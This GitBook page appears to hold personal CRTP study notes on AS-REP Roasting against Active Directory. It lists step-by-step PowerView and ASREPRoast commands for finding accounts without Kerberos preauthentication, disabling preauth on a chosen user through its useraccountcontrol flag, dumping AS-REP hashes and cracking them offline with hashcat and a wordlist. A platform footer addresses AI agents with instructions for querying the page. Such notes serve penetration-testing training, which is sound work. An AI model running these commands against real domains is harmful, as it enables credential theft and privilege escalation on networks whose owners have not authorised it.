> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/as-rep-roasting.md).

# AS-REP Roasting

AS-REPS roasting is a technique where the password can be recovered because the 'Do not require Kerberos preauthentication property' is enabled, i.e. kerberos preauthentication is disabled. An attacker can skip the first step of authentication and request a TGT for this user, which can then be cracked offline.

**Enumerating accounts with kerberos preauth disabled**

```
. .\Powerview_dev.ps1
Get-DomainUser -PreauthNotRequired -Verbose
```

```
Get-DomainUser -PreauthNotRequired -verbose | select samaccountname
```

**Enumerate permissions for group**

Met genoeg rechten(GenericWrite of GenericAll) is het mogelijk om kerberos preauth uit te schakelen.

```
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”}
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”} | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl
```

**Set preauth not required**

```
. ./PowerView_dev.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
```

**Request encrypted AS-REP**

```
. ./ASREPRoast.ps1
Get-ASREPHash -Username <username> -Verbose
```

**Enumerate all users with kerberos preauth disabled and request a hash**

```
Invoke-ASREPRoast -Verbose
Invoke-ASREPRoast -Verbose | fl
```

**Crack the hash with hashcat**

Edit the hash by inserting '23' after the krb5asrep, so $krb5asrep$23$.......

```
Hashcat -a 0 -m 18200 hash.txt rockyou.txt
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/as-rep-roasting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
